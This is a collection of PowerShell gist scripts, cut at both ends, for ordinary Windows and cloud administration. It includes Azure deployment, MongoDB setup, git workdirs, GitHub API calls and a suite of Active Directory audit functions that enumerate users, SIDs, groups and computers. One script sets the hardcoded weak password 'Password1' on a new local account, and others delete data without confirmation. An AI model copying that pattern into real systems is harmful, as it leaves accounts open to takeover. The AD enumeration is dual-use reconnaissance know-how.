cmdlets $subscription = Get-AzureSubscription $selectedsubscription $subscriptionname = $subscription.subscriptionname $subscriptionid = $subscription.subscriptionid $slot = $environment #main driver - publish & write progress to activity log Write-Output "$(Get-Date –f $timeStampFormat) - Azure Cloud Service deploy script started." Write-Output "$(Get-Date –f $timeStampFormat) - Preparing deployment of $deploymentLabel for $subscriptionname with Subscription ID $subscriptionid." Publish $deployment = Get-AzureDeployment -slot $slot -serviceName $servicename $deploymentUrl = $deployment.Url Write-Output "$(Get-Date –f $timeStampFormat) - Created Cloud Service with URL $deploymentUrl." Write-Output "$(Get-Date –f $timeStampFormat) - Azure Cloud Service deploy script finished." Write-Output "$(Get-Date –f $timeStampFormat) - Swapping VIP's" Move-AzureDeployment -ServiceName $serviceName write-progress -id 3 -activity "Swapping VIPs between Staging and Production" -completed -Status "Complete" Write-Output "$(Get-Date –f $timeStampFormat) - VIP Swap completed"
PowerShellCorpus/GithubGist/srazzaque_6488371_raw_1732b53ab24c01d60148591a75bef5ddc0f1118a_startMongoRs.ps1
srazzaque_6488371_raw_1732b53ab24c01d60148591a75bef5ddc0f1118a_startMongoRs.ps1
# Mongo replica set starter for use in Windows 7 (Powershell 3.x) Write-Host "Mongo Replica Set Starter" Write-Host "WARNING: Will delete rs1/2/3 directories and 1/2/3.log files in the current directory." $replSet = "m101" $curDir = (Get-Location).Path + "\" function Start-MongoRS ($logPath, $dataDir, $portNo) { $lp = $curDir + $logPath $dd = $curDir + $dataDir Write-Host "Starting up mongo replica on $portNo (and clearing logfile beforehand)" if (Test-Path $lp) { Remove-Item $lp } $x = Start-Job { mongod --replSet $using:replSet --logpath $using:lp --dbpath $using:dd --port $using:portNo --smallfiles } } function Create-MongoDataDir ($dirName) { $dir = $curDir + $dirName if (Test-Path $dir) { $x = rmdir -Force -Recurse $dir } $x = mkdir $dir } @("rs1", "rs2", "rs3") | % { Create-MongoDataDir $_ } Start-MongoRS "1.log" "rs1" 27017 Start-MongoRS "2.log" "rs2" 27018 Start-MongoRS "3.log" "rs3" 27019 Write-Host "All started - use Get-Process to find 'mongod' instances running, you should see 3."
PowerShellCorpus/GithubGist/wullemsb_5468495_raw_bb063072f8da38040a1d0d7cc8b1e4ff146b3946_RemoveSPSite.ps1
wullemsb_5468495_raw_bb063072f8da38040a1d0d7cc8b1e4ff146b3946_RemoveSPSite.ps1
$url= "http://tfssharepoint/sites/defaultcollection/sitetoremove" Remove-SPSite $url -confirm:$false
PowerShellCorpus/GithubGist/Yoos01_a7f75f68947c04af12c0_raw_92b84454de05cace8137f9c7407bacb95e6f629e_gistfile1.ps1
Yoos01_a7f75f68947c04af12c0_raw_92b84454de05cace8137f9c7407bacb95e6f629e_gistfile1.ps1
Clear-Host function create-account () { $hostname = hostname $MyLocalComputer = [adsi] "WinNT://$hostname" $localaccountlogin= "alocalaccount" $localaccountfullname= "Local account fullname" $objlocalaccount = $MyLocalComputer.Create("User", $localaccountlogin) $objlocalaccount.put("FullName", $localaccountfullname) $objlocalaccount.put("Description","") $objlocalaccount.SetPassword("Password1") $objlocalaccount.SetInfo() } create-account
PowerShellCorpus/GithubGist/ajryan_ba2339a2314a74781898_raw_21535d609c13cb9f08f92efb6b0577e52ebef997_git-new-workdir.ps1
ajryan_ba2339a2314a74781898_raw_21535d609c13cb9f08f92efb6b0577e52ebef997_git-new-workdir.ps1
param ( [string]$NewWorkDir = $( Read-Host 'New work dir' ), [string]$Branch = $( Read-Host 'Branch' ) ) $gitDir = git rev-parse --git-dir if (!$gitDir) { exit 128 } # cannot operate on bare repo $isBare = git --git-dir="$gitDir" config --bool --get core.bare if ($isBare -Eq "true") { echo "'$gitDir' has core.bare set to true, remove from '$gitDir/config' to use" exit 128 } # cannot operate on a workdir (config file is a symlink) $configFile = Get-Item "$gitDir\config" -Force -ea 0 if ($configFile.Attributes -band [IO.FileAttributes]::ReparsePoint) { echo "current directory is working directory only" exit 128 } # don't overwrite existing directory if (Test-Path $NewWorkDir) { echo "destination directory '$NewWorkDir' already exists" exit 128 } # get the absolute path to the git directory $gitPath = $(Resolve-Path $gitDir).Path # create the .git folder in the new directory $newGitPath = Join-Path $NewWorkDir '.git' mkdir $newGitPath | Out-Null # create logs parent to hold refs link mkdir (Join-Path $newGitPath 'logs') # sym link from the new .git folder into the original .git folders ForEach ($subDir in 'config', 'refs', 'logs\refs', 'objects', 'info', 'hooks', 'packed-refs', 'remotes', 'rr-cache', 'svn') { $newSubDir = Join-Path $newGitPath $subDir $origSubDir = Join-Path $gitPath $subDir cmd /c mklink /D $newSubDir $origSubDir } # set up the new working dir cd $NewWorkDir copy (Join-Path $gitPath HEAD) .git\HEAD git checkout -f $Branch
PowerShellCorpus/GithubGist/dfinke_328a511d03f41bcb88b3_raw_66d07af2e5d2f6829b1adcf6966307d523ccdc16_Get-GithubEvent.ps1
dfinke_328a511d03f41bcb88b3_raw_66d07af2e5d2f6829b1adcf6966307d523ccdc16_Get-GithubEvent.ps1
function Get-GithubEvent { param($userId,$Password) function Get-GitHubAuthHeaders { param($userId,$Password) $authInfo = "$($userId):$($Password)" $authInfo = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($authInfo)) @{ "Authorization" = "Basic " + $authInfo "Content-Type" = "application/json" } } $Headers = Get-GitHubAuthHeaders $userId $Password $Uri = "https://api.github.com/users/$userId/received_events" ForEach($item in (Invoke-RestMethod -Headers $Headers -Uri $Uri )) { [PSCustomObject]@{ Action = $item.payload.action Type = $item.type Who = $item.actor.login Details = $item } } }
PowerShellCorpus/GithubGist/jonretting_20da31893df25cf40cd7_raw_e951ed0d5120cc3a2e6f2cea47a7a74b067881a1_Get-ADtop.ps1
jonretting_20da31893df25cf40cd7_raw_e951ed0d5120cc3a2e6f2cea47a7a74b067881a1_Get-ADtop.ps1
# Get-ADtop # @ JMR 2012 All right reserved, not for resale # # Retrieves Realtime CPU/MEM/DISK usage details from # AD Computer Objects via provided BaseDN # Or from provided ComputerName # Probes computer names for connectivity before executing # # -SampleTime is the amount of time to sample the CPU usage and provide avg # default is 2 seconds # -Sort results will be sorted by CPU, MEM, or DISK usage descending # default is no sorting # -BaseDN is the base search path used to gather computer object names # specify the default BaseDN by editing param->string->BaseDN # -ComputerName will bypass generation of AD computer object list # and only scan the provided ComputerName # Examples # Get-ADtop -ComputerName ThisComputer -SampleTime 4 # Get usage details of "ThisComputer" and sample the CPU usage over a 4 second period # Get-ADtop -Sort MEM # Sort results by Memory usage # Get-ADtop -BaseDN "OU=name,DC=domain,DC=com" -Sort CPU # Use the provided BaseDN and sort by CPU usage # Get-ADtop -SampleTime 1 -Sort CPU # Sample CPU usage for 1 second and sort results by CPU usage Function Get-ADtop { [CmdletBinding()] param( [String]$ComputerName, [String]$Sort = "none", [String]$BaseDN = "OU=name,DC=domain,DC=com", # Edit Default Base DN [String]$SampleTime = 2 ) If ($ComputerName) { $Computers = $ComputerName } else { $Computers = Get-ADComputer -Filter * -Properties * -SearchBase $BaseDN -EA SilentlyContinue | % {$_.Name} } $DataSet = @() $Targets = @() ForEach ($Comp in $Computers) { If (Test-Connection -ComputerName $Comp -Count 1 -Quiet -TimeToLive 1 -EA SilentlyContinue) { If (!(Get-WmiObject -ComputerName $Comp win32_OperatingSystem -EA SilentlyContinue)) { break } $Targets += $Comp } } $CompCount = $Computers | Measure-Object | % {$_.Count} $DeadCount = $CompCount - ($Targets | Measure-Object | % {$_.Count}) If (!($DeadCount -eq 0)) { Write-Host "`n$DeadCount unavailable computers removed" } Write-Host "`nGathering realtime CPU/MEM/DISK Usage data from $CompCount computers..." ForEach ($Comp in $Targets) { $proc = (Get-WmiObject -ComputerName $Comp -class win32_processor -EA SilentlyContinue | Measure-Object -property LoadPercentage -Average | Select Average | % {$_.Average / 100}).ToString("P") $mem = Get-WmiObject -ComputerName $Comp win32_OperatingSystem -EA SilentlyContinue $mem = (($mem.TotalVisibleMemorySize - $mem.FreePhysicalMemory) / $mem.TotalVisibleMemorySize).ToString("P") $disk = Get-WmiObject -ComputerName $Comp -class Win32_LogicalDisk -filter "DriveType=3" -EA SilentlyContinue $disk = (($disk.Size - $disk.FreeSpace) / $disk.Size).ToString("P") $Info = [pscustomobject]@{ 'Computer' = $Comp 'CPU Usage' = $proc 'MEM Usage' = $mem 'Disk Usage' = $disk } $DataSet += Add-Member -InputObject $Info -TypeName Computers.CPU.Usage -PassThru } Switch ($Sort) { "none" { $DataSet } "CPU" { $DataSet | Sort-Object -Property "CPU Usage" -Descending } "MEM" { $DataSet | Sort-Object -Property "MEM Usage" -Descending } "DISK" { $DataSet | Sort-Object -Property "DISK Usage" -Descending } } }
PowerShellCorpus/GithubGist/uruloki_10684847_raw_5e13438871028e4612762a3e7effbdc043b05c65_Get-ComputerInfo.ps1
uruloki_10684847_raw_5e13438871028e4612762a3e7effbdc043b05c65_Get-ComputerInfo.ps1
<# .Synopsis Enumerates Logged On Sessions on a give host. .DESCRIPTION Enumerates Logged On Sessions on a give host using WMI. .EXAMPLE Get-AuditLogedOnSessions | where {$_.processes.count -gt 0} Retrieves sessions that have running processes. #> function Get-AuditLogedOnSessions { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory=$false)] [string]$ComputerName = "localhost" ) begin { $loggedsessions = @() $SessionType = @{ 2 = 'Interactive' 3 = 'Network' 4 = 'Batch' 5 = 'Servie' 6 = 'Proxy' 7 = 'Unlock' 8 = 'NetworkCleartext' 9 = 'NewCredentials' 10 = 'Terminal' 11 = 'CachedInteractive' 12 = 'CachedTerminal' 13 = 'CachedUnlock' } } process { $sessions = Get-WmiObject win32_logonsession -Credential $Credential -ComputerName $ComputerName | select -Unique foreach ($session in $sessions) { try{ $account = $session.getrelated('win32_useraccount') if ($account -ne $null) { $loggedsessions += [pscustomobject][ordered]@{Name=$account.Caption SID=$account.SID FullName=$account.fullname Created=[System.Management.ManagementDateTimeConverter]::todatetime($session.StartTime) AuthenticationType=$session.AuthenticationPackage LogonType=$SessionType[[int]$session.LogonType] Processes=$session.GetRelated('win32_process') } } } catch {} } } end {$loggedsessions} } <# .Synopsis Gets a list of Domain Computer accounts and their details using ADSI. .DESCRIPTION Gets a list of Domain coputer accounts and their details using ADSI. If the machine it is ran from is in the domain and no Domain Controller is specified it will run with the privelages of the user. Support the use of alternate user credentials when ran against a domain controller. The host must use the same DNS server to be able to reseolve the hostnames to the proper IPAddress. .EXAMPLE Get-AuditDSComputerAccount -DomainController 192.168.10.10 -Credential (Get-Credential) cmdlet Get-Credential at command pipeline position 1 Supply values for the following parameters: HostName : DC01.acmelabs.com OperatingSystem : Windows Server 2012 Standard ServicePack : Version : 6.2 (9200) DN : CN=DC01,OU=Domain Controllers,DC=acmelabs,DC=com Created : 1/12/2013 2:08:47 AM LastModified : 9/4/2013 7:07:02 PM IPAddress : {192.168.10.10} HostName : DC02.acmelabs.com OperatingSystem : Windows Server 2008 R2 Enterprise ServicePack : Service Pack 1 Version : 6.1 (7601) DN : CN=DC02,OU=Domain Controllers,DC=acmelabs,DC=com Created : 1/12/2013 2:15:02 AM LastModified : 8/27/2013 9:29:39 AM IPAddress : {192.168.10.12} HostName : WIN701.acmelabs.com OperatingSystem : Windows 7 Enterprise ServicePack : Service Pack 1 Version : 6.1 (7601) DN : CN=WIN701,OU=HR,DC=acmelabs,DC=com Created : 1/12/2013 2:45:21 AM LastModified : 8/26/2013 6:45:50 PM IPAddress : {192.168.10.20} HostName : WIN702.acmelabs.com OperatingSystem : Windows 7 Ultimate ServicePack : Service Pack 1 Version : 6.1 (7601) DN : CN=WIN702,OU=HR,DC=acmelabs,DC=com Created : 1/13/2013 3:27:10 PM LastModified : 8/26/2013 6:42:00 PM IPAddress : {192.168.10.21} HostName : WIN801.acmelabs.com OperatingSystem : Windows 8 Enterprise ServicePack : Version : 6.2 (9200) DN : CN=WIN801,CN=Computers,DC=acmelabs,DC=com Created : 1/13/2013 5:48:57 PM LastModified : 9/5/2013 5:09:25 AM IPAddress : {192.168.10.40} HostName : WIN2K01.acmelabs.com OperatingSystem : Windows Server 2012 Standard ServicePack : Version : 6.2 (9200) DN : CN=WIN2K01,CN=Computers,DC=acmelabs,DC=com Created : 1/14/2013 4:31:58 PM LastModified : 8/25/2013 5:28:07 PM IPAddress : {192.168.10.2} HostName : win2k301.acmelabs.com OperatingSystem : Windows Server 2003 ServicePack : Service Pack 2 Version : 5.2 (3790) DN : CN=WIN2K301,CN=Computers,DC=acmelabs,DC=com Created : 1/18/2013 12:51:59 PM LastModified : 8/15/2013 8:39:43 PM IPAddress : {192.168.10.50} #> function Get-AuditDSComputerAccount { [CmdletBinding()] Param( [Parameter(Mandatory=$false, HelpMessage="Credentials to use when connecting to a Domain Controller.")] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory=$false, HelpMessage="Domain controller for Domain and Site that you want to query against.")] [string]$DomainController, [Parameter(Mandatory=$false, HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000 .")] [int]$Limit = 1000, [Parameter(Mandatory=$false, HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] [ValidateSet("Subtree","OneLevel","Base")] [string]$SearchScope = "Subtree", [Parameter(Mandatory=$false, HelpMessage="Distinguished Name Path to limit search to.")] [string]$SearchDN ) Begin { if ($DomainController -and $Credential.GetNetworkCredential().Password) { $objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } else { $objDomain = [ADSI]"" $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } } Process { $CompFilter = "(&(objectCategory=Computer))" $ObjSearcher.PageSize = $Limit $ObjSearcher.Filter = $CompFilter $ObjSearcher.SearchScope = "Subtree" if ($SearchDN) { $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") } $ObjSearcher.FindAll() | ForEach-Object { $CompProps = [ordered]@{} $CompProps.Add('HostName', "$($_.properties.dnshostname)") $CompProps.Add('OperatingSystem', "$($_.properties.operatingsystem)") $CompProps.Add('ServicePack', "$($_.properties.operatingsystemservicepack)") $CompProps.Add('Version', "$($_.properties.operatingsystemversion)") $CompProps.Add('DN', "$($_.properties.distinguishedname)") $CompProps.Add('Created', [datetime]"$($_.properties.whencreated)") $CompProps.Add('LastModified', [datetime]"$($_.properties.whenchanged)") $CompProps.Add('IPAddress',([System.Net.Dns]::GetHostAddresses("$($_.properties.dnshostname)"))) [pscustomobject]$CompProps } } End { } } <# .Synopsis Gets a list of Domain users and their details using ADSI. .DESCRIPTION Gets a list of Domain users and their details using ADSI. If the machine it is ran from is in the domain and no Domain Controller is specified it will run with the privelages of the user. Support the use of alternate user credentials when ran against a domain controller. .EXAMPLE Get-AuditDSUserAcount -Credential (Get-Credential) -DomainController 192.168.10.10 cmdlet Get-Credential at command pipeline position 1 Supply values for the following parameters: SAMAccount : Administrator Description : Built-in account for administering the computer/domain UserPrincipal : Administrator@acmelabs.com DN : CN=Administrator,CN=Users,DC=acmelabs,DC=com Created : 1/12/2013 2:06:53 AM LastModified : 9/10/2013 4:00:28 AM PasswordLastSet : 8/20/2013 2:13:07 PM AccountExpires : <Never> LastLogon : 9/14/2013 2:47:43 PM GroupMembership : CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=acmelabs,DC=com CN=Group Policy Creator Owners,CN=Users,DC=acmelabs,DC=com CN=Domain Admins,CN=Users,DC=acmelabs,DC=com CN=Enterprise Admins,CN=Users,DC=acmelabs,DC=com CN=Schema Admins,CN=Users,DC=acmelabs,DC=com CN=Administrators,CN=Builtin,DC=acmelabs,DC=com SID : S-1-5-21-3435989536-2782530369-1314837659-500 SAMAccount : Guest Description : Built-in account for guest access to the computer/domain UserPrincipal : DN : CN=Guest,CN=Users,DC=acmelabs,DC=com Created : 1/12/2013 2:06:53 AM LastModified : 1/12/2013 2:06:53 AM PasswordLastSet : 12/31/1600 8:00:00 PM AccountExpires : <Never> LastLogon : 12/31/1600 8:00:00 PM GroupMembership : CN=Guests,CN=Builtin,DC=acmelabs,DC=com SID : S-1-5-21-3435989536-2782530369-1314837659-501 SAMAccount : krbtgt Description : Key Distribution Center Service Account UserPrincipal : DN : CN=krbtgt,CN=Users,DC=acmelabs,DC=com Created : 1/12/2013 2:08:47 AM LastModified : 3/20/2013 4:38:18 PM PasswordLastSet : 1/11/2013 10:08:47 PM AccountExpires : <Never> LastLogon : 12/31/1600 8:00:00 PM GroupMembership : CN=Denied RODC Password Replication Group,CN=Users,DC=acmelabs,DC=com SID : S-1-5-21-3435989536-2782530369-1314837659-502 SAMAccount : cperez Description : UserPrincipal : cperez@acmelabs.com DN : CN=carlos Perez,CN=Users,DC=acmelabs,DC=com Created : 1/13/2013 9:32:18 PM LastModified : 7/3/2013 1:34:00 AM PasswordLastSet : 1/13/2013 5:32:18 PM AccountExpires : <Never> LastLogon : 6/26/2013 7:24:53 PM GroupMembership : SID : S-1-5-21-3435989536-2782530369-1314837659-1604 #> function Get-AuditDSUserAcount { [CmdletBinding(DefaultParametersetName="Default")] Param( [Parameter(ParameterSetName='Modified')] [Parameter(ParameterSetName='Created')] [Parameter(ParameterSetName='Default')] [Parameter(Mandatory=$false, HelpMessage="Credentials to use when connecting to a Domain Controller.")] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(ParameterSetName='Modified')] [Parameter(ParameterSetName='Created')] [Parameter(ParameterSetName='Default')] [Parameter(Mandatory=$false, HelpMessage="Domain controller for Domain and Site that you want to query against.")] [string]$DomainController, [Parameter(ParameterSetName='Modified')] [Parameter(ParameterSetName='Created')] [Parameter(ParameterSetName='Default')] [Parameter(Mandatory=$false, HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000 .")] [int]$Limit = 1000, [Parameter(ParameterSetName='Modified')] [Parameter(ParameterSetName='Created')] [Parameter(ParameterSetName='Default')] [Parameter(Mandatory=$false, HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] [ValidateSet("Subtree","OneLevel","Base")] [string]$SearchScope = "Subtree", [Parameter(ParameterSetName='Modified')] [Parameter(ParameterSetName='Created')] [Parameter(ParameterSetName='Default')] [Parameter(Mandatory=$false, HelpMessage="Distinguished Name Path to limit search to.")] [string]$SearchDN, [Parameter(ParameterSetName='Modified', HelpMessage="Date to search for users mofied on or after this date.")] [datetime]$ModifiedAfter, [Parameter(ParameterSetName='Modified', HelpMessage="Date to search for users mofied on or before this date.")] [datetime]$ModifiedBefore, [Parameter(ParameterSetName='Created', HelpMessage="Date to search for users created on or after this date.")] [datetime]$CreatedAfter, [Parameter(ParameterSetName='Created', HelpMessage="Date to search for users created on or after this date.")] [datetime]$CreatedBefore ) Begin { if ($DomainController -and $Credential.GetNetworkCredential().Password) { $objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } else { $objDomain = [ADSI]"" $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } } Process { $SAMAccountFilter = "(sAMAccountType=805306368)" # Filter for modification time if ($ModifiedAfter -and $ModifiedBefore) { $SAMAccountFilter = "(&$($SAMAccountFilter)(whenChanged>=$($ModifiedAfter.ToString("yyyyMMddhhmmss.sZ")))(whenChanged<=$($ModifiedBefore.ToString("yyyyMMddhhmmss.sZ"))))" } elseif ($ModifiedAfter) { $SAMAccountFilter = "(&$($SAMAccountFilter)(whenChanged>=$($ModifiedAfter.ToString("yyyyMMddhhmmss.sZ"))))" } elseif ($ModifiedBefore) { $SAMAccountFilter = "(&$($SAMAccountFilter)(whenChanged<=$($ModifiedBefore.ToString("yyyyMMddhhmmss.sZ"))))" } # Fileter for creation time if ($CreatedAfter -and $CreatedBefore) { $SAMAccountFilter = "(&$($SAMAccountFilter)(whenChanged>=$($CreatedAfter.ToString("yyyyMMddhhmmss.sZ")))(whenChanged<=$($CreatedBefore.ToString("yyyyMMddhhmmss.sZ"))))" } elseif ($CreatedAfter) { $SAMAccountFilter = "(&$($SAMAccountFilter)(whenChanged>=$($CreatedAfter.ToString("yyyyMMddhhmmss.sZ"))))" } elseif ($CreatedBefore) { $SAMAccountFilter = "(&$($SAMAccountFilter)(whenChanged<=$($CreatedBefore.ToString("yyyyMMddhhmmss.sZ"))))" } # Search parameters $ObjSearcher.PageSize = $Limit $ObjSearcher.Filter = $SAMAccountFilter $ObjSearcher.SearchScope = $SearchScope if ($SearchDN) { $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") } $ObjSearcher.FindAll() | ForEach-Object { $UserProps = [ordered]@{} $UserProps.Add('SAMAccount', "$($_.properties.samaccountname)") $UserProps.Add('Description', "$($_.properties.description)") $UserProps.Add('UserPrincipal', "$($_.properties.userprincipalname)") $UserProps.Add('DN', "$($_.properties.distinguishedname)") $UserProps.Add('Created', [dateTime]"$($_.properties.whencreated)") $UserProps.Add('LastModified', [dateTime]"$($_.properties.whenchanged)") $UserProps.Add('PasswordLastSet', [dateTime]::FromFileTime("$($_.properties.pwdlastset)")) $UserProps.Add('AccountExpires',( &{$exval = "$($_.properties.accountexpires)" If (($exval -eq 0) -or ($exval -gt [DateTime]::MaxValue.Ticks)) { $AcctExpires = "<Never>" } Else { $Date = [DateTime]$exval $AcctExpires = $Date.AddYears(1600).ToLocalTime() } $AcctExpires })) $UserProps.Add('LastLogon', [dateTime]::FromFileTime("$($_.properties.lastlogon)")) $UserProps.Add('GroupMembership', "$($_.properties.memberof)") $UserProps.Add('SID', "$(&{$sidobj = [byte[]]"$($_.Properties.objectsid)".split(" ");$sid = new-object System.Security.Principal.SecurityIdentifier $sidobj, 0; $sid.Value})") [pscustomobject]$UserProps } } } <# .Synopsis Gets a list of Domain users and their details using ADSI. .DESCRIPTION Gets a list of Domain users and their details using ADSI. If the machine it is ran from is in the domain and no Domain Controller is specified it will run with the privelages of the user. Support the use of alternate user credentials when ran against a domain controller. .EXAMPLE Get-AuditDSLockedUserAcount -DomainController 192.168.10.10 -Credential (Get-Credential) cmdlet Get-Credential at command pipeline position 1 Supply values for the following parameters: SAMAccount : lockeduser Description : UserPrincipal : lockeduser@acmelabs.com DN : CN=lockeduser,CN=Users,DC=acmelabs,DC=com Created : 6/27/2013 8:23:20 PM LastModified : 9/15/2013 12:40:13 AM PasswordLastSet : 6/27/2013 4:23:20 PM AccountExpires : <Never> LastLogon : 12/31/1600 8:00:00 PM GroupMembership : SID : S-1-5-21-3435989536-2782530369-1314837659-1614 #> function Get-AuditDSLockedUserAcount { [CmdletBinding()] Param( [Parameter(Mandatory=$false, HelpMessage="Credentials to use when connecting to a Domain Controller.")] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory=$false, HelpMessage="Domain controller for Domain and Site that you want to query against.")] [string]$DomainController, [Parameter(Mandatory=$false, HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000 .")] [int]$Limit = 1000, [Parameter(Mandatory=$false, HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] [ValidateSet("Subtree","OneLevel","Base")] [string]$SearchScope = "Subtree", [Parameter(Mandatory=$false, HelpMessage="Distinguished Name Path to limit search to.")] [string]$SearchDN ) Begin { if ($DomainController -and $Credential.GetNetworkCredential().Password) { $objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } else { $objDomain = [ADSI]"" $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } } Process { $SAMAccountFilter = "(&(sAMAccountType=805306368)(lockoutTime>=1))" $ObjSearcher.PageSize = $Limit $ObjSearcher.Filter = $SAMAccountFilter $ObjSearcher.SearchScope = $SearchScope if ($SearchDN) { $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") } $ObjSearcher.FindAll() | ForEach-Object { $UserProps = [ordered]@{} $UserProps.Add('SAMAccount', "$($_.properties.samaccountname)") $UserProps.Add('Description', "$($_.properties.description)") $UserProps.Add('UserPrincipal', "$($_.properties.userprincipalname)") $UserProps.Add('DN', "$($_.properties.distinguishedname)") $UserProps.Add('Created', [dateTime]"$($_.properties.whencreated)") $UserProps.Add('LastModified', [dateTime]"$($_.properties.whenchanged)") $UserProps.Add('PasswordLastSet', [dateTime]::FromFileTime("$($_.properties.pwdlastset)")) $UserProps.Add('AccountExpires',( &{$exval = "$($_.properties.accountexpires)" If (($exval -eq 0) -or ($exval -gt [DateTime]::MaxValue.Ticks)) { $AcctExpires = "<Never>" } Else { $Date = [DateTime]$exval $AcctExpires = $Date.AddYears(1600).ToLocalTime() } $AcctExpires })) $UserProps.Add('LastLogon', [dateTime]::FromFileTime("$($_.properties.lastlogon)")) $UserProps.Add('GroupMembership', "$($_.properties.memberof)") $UserProps.Add('SID', "$(&{$sidobj = [byte[]]"$($_.Properties.objectsid)".split(" ");$sid = new-object System.Security.Principal.SecurityIdentifier $sidobj, 0; $sid.Value})") [pscustomobject]$UserProps } } } function Get-AuditDSDisabledUserAcount { [CmdletBinding()] Param( [Parameter(Mandatory=$false, HelpMessage="Credentials to use when connecting to a Domain Controller.")] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory=$false, HelpMessage="Domain controller for Domain and Site that you want to query against.")] [string]$DomainController, [Parameter(Mandatory=$false, HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000 .")] [int]$Limit = 1000, [Parameter(Mandatory=$false, HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] [ValidateSet("Subtree","OneLevel","Base")] [string]$SearchScope = "Subtree", [Parameter(Mandatory=$false, HelpMessage="Distinguished Name Path to limit search to.")] [string]$SearchDN ) Begin { if ($DomainController -and $Credential.GetNetworkCredential().Password) { $objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } else { $objDomain = [ADSI]"" $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } } Process { $SAMAccountFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=2))" $ObjSearcher.PageSize = $Limit $ObjSearcher.Filter = $SAMAccountFilter $ObjSearcher.SearchScope = $SearchScope if ($SearchDN) { $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") } $ObjSearcher.FindAll() | ForEach-Object { $UserProps = [ordered]@{} $UserProps.Add('SAMAccount', "$($_.properties.samaccountname)") $UserProps.Add('Description', "$($_.properties.description)") $UserProps.Add('UserPrincipal', "$($_.properties.userprincipalname)") $UserProps.Add('DN', "$($_.properties.distinguishedname)") $UserProps.Add('Created', [dateTime]"$($_.properties.whencreated)") $UserProps.Add('LastModified', [dateTime]"$($_.properties.whenchanged)") $UserProps.Add('PasswordLastSet', [dateTime]::FromFileTime("$($_.properties.pwdlastset)")) $UserProps.Add('AccountExpires',( &{$exval = "$($_.properties.accountexpires)" If (($exval -eq 0) -or ($exval -gt [DateTime]::MaxValue.Ticks)) { $AcctExpires = "<Never>" } Else { $Date = [DateTime]$exval $AcctExpires = $Date.AddYears(1600).ToLocalTime() } $AcctExpires })) $UserProps.Add('LastLogon', [dateTime]::FromFileTime("$($_.properties.lastlogon)")) $UserProps.Add('GroupMembership', "$($_.properties.memberof)") $UserProps.Add('SID', "$(&{$sidobj = [byte[]]"$($_.Properties.objectsid)".split(" ");$sid = new-object System.Security.Principal.SecurityIdentifier $sidobj, 0; $sid.Value})") [pscustomobject]$UserProps } } } function Get-AuditDSDeletedAccount { [CmdletBinding()] Param( [Parameter(Mandatory=$false, HelpMessage="Credentials to use when connecting to a Domain Controller.")] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory=$false, HelpMessage="Domain controller for Domain and Site that you want to query against.")] [string]$DomainController, [Parameter(Mandatory=$false, HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000 .")] [int]$Limit = 1000, [Parameter(Mandatory=$false, HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] [ValidateSet("Subtree","OneLevel","Base")] [string]$SearchScope = "Subtree", [Parameter(Mandatory=$false, HelpMessage="Distinguished Name Path to limit search to.")] [string]$SearchDN ) Begin { if ($DomainController -and $Credential.GetNetworkCredential().Password) { $objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } else { $objDomain = [ADSI]"" $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain } } Process { $SAMAccountFilter = "(&(objectClass=user)(isDeleted=*))" $ObjSearcher.PageSize = $Limit $ObjSearcher.Filter = $SAMAccountFilter $ObjSearcher.SearchScope = $SearchScope $objSearcher.Tombstone = $true if ($SearchDN) { $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") } $ObjSearcher.FindAll() | ForEach-Object { $UserProps = [ordered]@{} 